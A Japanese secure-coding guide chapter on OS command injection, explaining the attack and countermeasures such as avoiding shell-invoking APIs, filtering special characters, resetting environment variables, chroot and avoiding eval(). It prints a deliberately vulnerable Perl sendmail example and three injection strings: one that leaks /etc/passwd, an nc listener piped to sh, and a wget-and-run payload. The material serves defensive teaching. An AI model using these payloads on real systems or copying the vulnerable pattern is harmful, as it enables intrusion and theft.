第6章 入力対策
コマンド注入攻撃対策

コマンド注入攻撃

コマンド注入攻撃(いわゆるOSコマンドインジェクション攻撃)は、アプリケーションプログラムがシェルコマンド文字列を組み立てて実行している箇所に外部からデータに紛れさせてコマンド文字列を送り込み、コンピュータを不正に操る手口である。

この攻撃への対処が不十分だと、コンピュータの乗っ取り、他のコンピュータへの攻撃の踏み台、ウイルスのばらまき、フィッシング詐欺等の悪用が起こり得る。

コマンド注入攻撃のメカニズム

コマンド注入攻撃は、外部から取り込んだデータをコマンド文字列の一部に組み入れて、それをシェルに実行させる場面が狙われる。

コマンド注入攻撃のメカニズム
図20:コマンド注入攻撃のメカニズム

例えば、次はsendmailコマンドを利用してメールを発信する例である。

例(Perlスクリプト)
$to_address = cgi->param{'to_address'};
$message_file = "/app/data/0012.txt";
system("sendmail $to_address <$message_file");

攻撃者は、この to_address に次のような文字列を与えて、サーバ運用者の意図に反したコマンドの実行を行わせることができる。

  1. 投入する文字列: evil@site </etc/passwd #
    → /etc/passwd ファイルが流出する
  2. 投入する文字列: dummy@site </dev/null; nc -l -p 8080 | sh #
    → 遠隔からシェルコマンドの投入を待ち受ける(ファイアウォールで阻止されないとき)
  3. 投入する文字列: dummy@site </dev/null; wget http://site/badscript; sh badscript #
    → 悪意のスクリプトをダウンロードし実行させられる

対策その1: うっかりシェルを動かさない

(1) シェル起動を避ける。

自分ではそのつもりが無くても、プログラマがシェルを起動するAPIを気づかぬうちに使っていることがあり得る。

使い方によっては、シェルを起動してコマンドを解釈させることになるAPIがあることを認識し、できればそれらのAPIを使わないようにする。

Perl

exec(), system(), `...`, qx/.../
なるべく使わない。
open(h, "|{command}"), open(h, "{command}|")
なるべく使わない。open()の代わりにsysopen()を使う。
open()を使うのであれば、入力・出力を示す < や > の記号をパス名に添えて、open(HANDLE, "<$pathname") のようにする。

PHP

exec(), passthru(), proc_open(), shell_exec(), system()
なるべく使わない。

Python

os.system(), os.popen()
なるべく使わない。

Ruby

exec(), system(), `...`
なるべく使わない。exec()でも、引数が1つであってその中に特殊記号 * ? {} [] <> () ~ & | \ $ ; ' ` " \n のいずれかが含まれているとシェルが起動される。
open("|{command}", mode, perm),
open("|-{command}", mode, perm)
open()はなるべく使わない。open()を使うのであれば、ファイル名引数(第1引数)に記号「|」が含まれないようにする。

対策その2: 別プログラムの起動を避ける

(1) 別プログラムの呼び出しを避ける

可能なら、ソフトウェア構成を設計する際に、別のプログラムを呼び出すことを避けた設計を行う。クラスライブラリやランタイムライブラリで解決できる場面で別プログラムを用いない。

対策その3: 別プログラムを起動せざるを得ないとき

(1) シェルが用いられないAPIを選ぶ

別のプログラムを起動せざるを得ない場合、内部でシェルが呼び出されないAPIを選ぶことが望ましい。

C言語においては、execve等のexec系関数が、JavaではRuntimeクラスのexecメソッドがそれにあたる。

Perlには、シェルを動作させずに他のプログラムを呼び出せるAPIが備わっていない。

PHPには、プロセス制御関数群(PCNTL)の中にはpcntl_execというライブラリ関数が用意されている。これはまさにPOSIXのexec系関数を呼び出すものであるが、逆に現在のプロセス空間に別のプログラムをロードしてしまうため、場合によってはWebサーバプロセスの動作に大きな支障が出ることも考えられ、PHPのpcntl_execのWebアプリケーションにおける使用は推奨されていない。

(2) 特殊記号の排除

別のプログラムに与えるパラメータに用いる文字種を英数字のみ等安全なものに限定し、検査してから渡す。

bashの場合、次の特殊記号は別コマンドの実行に使われるものとして特に警戒する。

「;」「|」「&」「`」「(」「)」。

また、次の特殊記号もファイルへのアクセスが起こったりコマンドの意味が変わり得るので警戒する。

「$」「<」「>」「*」「?」「{」「}」「[」「]」「!」

(3) 環境変数のリセット

別のプログラムを呼び出す際の環境変数領域は呼び出し側プログラムによって初期化したものを与える。

例(Perlスクリプト)
%ENV = ();
$ENV{'PATH'} = "/bin:/usr/bin";
system($command);

対策その4: 特殊な動作環境

(1) chroot等による制約を課す

可能ならば、別のプログラムを起動する際は起動されるプログラムがアクセス可能なファイルシステム領域をchrootによって限定する。呼び出し側プログラムはchroot使用に必要となるroot権限を行使しだい速やかに放棄する。

対策その5: シェル以外のコマンド注入対策

(1) スクリプト実行関数を避ける

スクリプト言語にはシェルの起動と類似のAPIが存在する場合がある。

例えば、PerlにはPerlスクリプト文字列を解釈実行できるeval()関数がある。次は数値演算を行い、ゼロ除算エラーを検知して対処できるようにする際にeval()関数を利用する例である。

例(Perlスクリプト)
$c = eval("$a / $b");   # 除算を試みる
if ($@) {
	# 異常時(ゼロ除算)の処理
} else {
	# 正常時の処理
}

上の例で$bがユーザからの入力データであって、この$bに「1;悪意のPerlスクリプト」のような値が与えられると、eval()関数によって悪意のスクリプトが実行されることになる。

したがって、eval()関数は安易に多用しないほうがよい。使用せざるを得ない場合は、eval()に与える引数に対し厳しい検査を行う。